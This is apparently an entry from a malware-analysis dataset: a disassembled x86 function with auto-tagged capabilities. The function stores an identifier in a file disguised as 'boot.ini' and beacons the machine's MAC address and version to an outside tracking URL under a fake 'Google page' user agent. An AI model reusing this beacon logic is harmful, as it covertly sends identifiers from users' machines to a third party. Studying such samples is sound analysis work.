Function at 0x401ae0
Capabilities:
Check if file exists
Create http request
Get file attributes
Manipulate boot configuration
Read .ini file
Read data from internet
Receive data

Disassembly:
push 0xffffffffffffffff
push 0x41c7f1
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x668
push ebx
push ebp
push esi
push edi
mov ecx, 0xe
xor eax, eax
lea edi, [esp + 0x35]
mov byte [esp + 0x34], 0
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov eax, dword [esp + 0x1c]
test eax, eax
jne 0x401bb1
mov ecx, dword [esp + 0x2a]
lea eax, [esp + 0x34]
push 0x10
and ecx, 0xff
push eax
push ecx
call fcn.004069b7
mov eax, dword [esp + 0x37]
lea edx, [esp + 0x4a]
push 0x10
and eax, 0xff
push edx
push eax
call fcn.004069b7
mov edx, dword [esp + 0x44]
lea ecx, [esp + 0x60]
push 0x10
and edx, 0xff
push ecx
push edx
call fcn.004069b7
mov ecx, dword [esp + 0x51]
lea eax, [esp + 0x76]
push 0x10
and ecx, 0xff
push eax
push ecx
call fcn.004069b7
mov eax, dword [esp + 0x5e]
lea edx, [esp + 0x8c]
push 0x10
and eax, 0xff
push edx
push eax
call fcn.004069b7
mov edx, dword [esp + 0x6b]
lea ecx, [esp + 0xa2]
push 0x10
and edx, 0xff
push ecx
push edx
call fcn.004069b7
add esp, 0x48
mov ebx, dword [sym.imp.USER32.dll_wsprintfA]
lea ebp, [esp + 0x34]
mov dword [esp + 0x14], 6
mov edi, ebp
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
dec ecx
cmp ecx, 1
jne 0x401c05
push ebp
lea eax, [esp + 0x74]
push 0x4251dc
push eax
call ebx
lea edi, [esp + 0x7c]
or ecx, 0xffffffff
xor eax, eax
add esp, 0xc
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov edx, ecx
mov esi, edi
mov edi, ebp
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov eax, dword [esp + 0x14]
add ebp, 0xa
dec eax
mov dword [esp + 0x14], eax
jne 0x401bc3
mov eax, dword [0x425a18]
mov dword [esp + 0x10], eax
mov dword [esp + 0x680], 0
mov dword [esp + 0x18], eax
push str.C:Program_Files_boot.ini
mov byte [esp + 0x684], 1
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
cmp eax, 0xffffffff
jne 0x401cd3
push 0
call fcn.00406889
push eax
call fcn.0040685a
add esp, 8
mov esi, 0xb
mov bl, 2
call fcn.00406867
cdq
mov ecx, 9
idiv ecx
push edx
lea edx, [esp + 0x1c]
push 0x425158
push edx
call fcn.00412333
add esp, 0xc
lea eax, [esp + 0x18]
lea ecx, [esp + 0x10]
lea edx, [esp + 0x14]
push eax
push ecx
push edx
call fcn.004141a0
push eax
lea ecx, [esp + 0x14]
mov byte [esp + 0x684], bl
call fcn.004140eb
lea ecx, [esp + 0x14]
mov byte [esp + 0x680], 1
call fcn.00414042
dec esi
jne 0x401c5e
mov eax, dword [esp + 0x10]
push str.C:Program_Files_boot.ini
push eax
push 0x4251bc
push 0x4251b8
call dword [sym.imp.KERNEL32.dll_WritePrivateProfileStringA]
jmp 0x401cfb
push str.C:Program_Files_boot.ini
push 0x14
push 0x14
lea ecx, [esp + 0x1c]
call fcn.004143a1
push eax
push str.Error
push 0x4251bc
push 0x4251b8
call dword [sym.imp.KERNEL32.dll_GetPrivateProfileStringA]
mov ecx, dword [0x429734]
mov edx, dword [esp + 0x10]
push ecx
push edx
push str.http:__www.zhuozhoudn.com_tjwow_count.asp
lea eax, [esp + 0x180]
push str._s_mac_sver_s
push eax
call fcn.00406965
add esp, 0x14
push 0
push 0
push 0
push 0
push str.Google_page
call dword [sym.imp.WININET.dll_InternetOpenA]
push 0
push 0x80000000
push 0
lea ecx, [esp + 0x180]
mov esi, eax
push 0
push ecx
push esi
call dword [sym.imp.WININET.dll_InternetOpenUrlA]
lea edx, [esp + 0x1c]
mov edi, eax
push edx
lea eax, [esp + 0x27c]
push 0x400
push eax
push edi
mov dword [esp + 0x2c], 0
call dword [sym.imp.WININET.dll_InternetReadFile]
push edi
mov edi, dword [sym.imp.WININET.dll_InternetCloseHandle]
call edi
push esi
call edi
lea ecx, [esp + 0x18]
mov byte [esp + 0x680], 0
call fcn.00414042
lea ecx, [esp + 0x10]
mov dword [esp + 0x680], 0xffffffff
call fcn.00414042
mov ecx, dword [esp + 0x678]
pop edi
pop esi
pop ebp
pop ebx
mov dword fs:[0], ecx
add esp, 0x674
ret